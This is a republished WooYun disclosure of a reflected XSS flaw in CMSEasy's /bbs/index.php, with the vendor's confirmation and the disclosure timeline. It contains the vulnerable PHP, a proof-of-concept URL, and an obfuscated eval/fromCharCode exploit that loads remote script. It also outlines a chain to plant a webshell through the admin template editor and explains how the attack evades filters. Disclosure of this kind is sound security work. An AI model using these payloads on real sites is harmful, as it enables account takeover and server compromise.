cmseasy 反射型XSS无视浏览器filter无视360webscan

admin 2015年4月20日08:37:34评论459 views字数 2964阅读9分52秒阅读模式
摘要

2014-07-04: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-02: 细节向公众公开

漏洞概要 关注数(2) 关注此漏洞

缺陷编号: WooYun-2014-67316

漏洞标题: cmseasy 反射型XSS无视浏览器filter无视360webscan

相关厂商: cmseasy

漏洞作者: phith0ncmseasy 反射型XSS无视浏览器filter无视360webscan

提交时间: 2014-07-04 18:06

公开时间: 2014-10-02 18:08

漏洞类型: XSS跨站脚本攻击

危害等级: 中

自评Rank: 8

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 反射型xss

1人收藏

漏洞详情

披露状态:

2014-07-04: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-02: 细节向公众公开

简要描述:

RT,cmseasy后台是可以csrf getshell的。但我这里,就算以后cmseasy后台加token、验证referer,我也不怕了,反正是XSS,可以窃取token的,referer也是本站。

详细说明:

这个反射型XSS出在/bbs/index.php中,第4行:

code 区域
<?php
 error_reporting(E_ALL & ~E_NOTICE);
 if($_GET['case'] == 'file'){
     echo "<script>window.location.href='".  str_replace('/bbs', '', $_SERVER['REQUEST_URI'])."';</script>";
 }
   require_once 'bbs_public.php';
   $category = db_bbs_category::getInstance();
   $category_data = $category->getAll('order by listorder asc');
 
   $archive = db_bbs_archive::getInstance();
 
   $label = db_bbs_label::getInstance();
   $lable_data = $label->getAll();
   $lable_data_arr = action_public::formatToIndex('lid',$lable_data);
 ?>

直接将$_SERVER['REQUEST_URI']输出在<script>标签中,导致的XSS。

先给个POC:

http://localhost/easy/bbs/index.php/'+alert(1)+'/?case=file

cmseasy 反射型XSS无视浏览器filter无视360webscan

但我的目的是直接getshell,光弹个框肯定不行。

getshell的话有两个难题:

1.需要一个后台getshell的方法

2.getshell脚本较长,需要加载远程js

我们一个一个说吧。

1.

cmseasy后台getshell比较简单,进入后台->模板->当前模板编辑->选择一个页面:

cmseasy 反射型XSS无视浏览器filter无视360webscan

我选的footer.html,直接进去插入一句话:

cmseasy 反射型XSS无视浏览器filter无视360webscan

保存来到首页,发现下面已经变成phpinfo了:

cmseasy 反射型XSS无视浏览器filter无视360webscan

2.

加载远程js,我迷糊了一阵子, 和@/fd 帮我解决了这个难题:http://**.**.**.**/content/13478

详情我就不说了,直接给exp吧:

code 区域
localhost/easy/bbs/index.php/'+eval(String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,123,119,105,110,100,111,119,46,111,110,101,114,114,111,114,61,102,117,110,99,116,105,111,110,40,97,114,103,41,123,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,99,115,114,102,47,99,109,115,101,97,115,121,46,106,115,62,60,92,47,115,99,114,105,112,116,62,39,41,125,59,116,104,114,111,119,40,49,41,59,125,41,40,41))+'/?case=file

其中String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,123,119,105,110,100,111,119,46,111,110,101,114,114,111,114,61,102,117,110,99,116,105,111,110,40,97,114,103,41,123,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,99,115,114,102,47,99,109,115,101,97,115,121,46,106,115,62,60,92,47,115,99,114,105,112,116,62,39,41,125,59,116,104,114,111,119,40,49,41,59,125,41,40,41)实际上就是:

code 区域
(function(){window.onerror=function(arg){document.write('<script src=http://localhost/csrf/cmseasy.js><//script>')};throw(1);})()

其中http://localhost/csrf/cmseasy.js是我加载的远程js。

加载远程js提交一下后台getshell的数据包即可,我就不演示了。

为什么可以无视360webscan?因为这个xss输出在index.php最上面,此时还没有包含360webscan.php,当然无视了。

为什么可以无视浏览器filter,因为输出在script标签中,一般的filter是拦截不了的。

漏洞证明:

见详细说明。

修复方案:

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-07 09:51

厂商回复:

感谢,理解修正

最新状态:

暂无


 

漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

 

登陆后才能进行评分


评价

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2015年4月20日08:37:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   cmseasy 反射型XSS无视浏览器filter无视360webscanhttp://cn-sec.com/archives/16719.html

发表评论

匿名网友 填写信息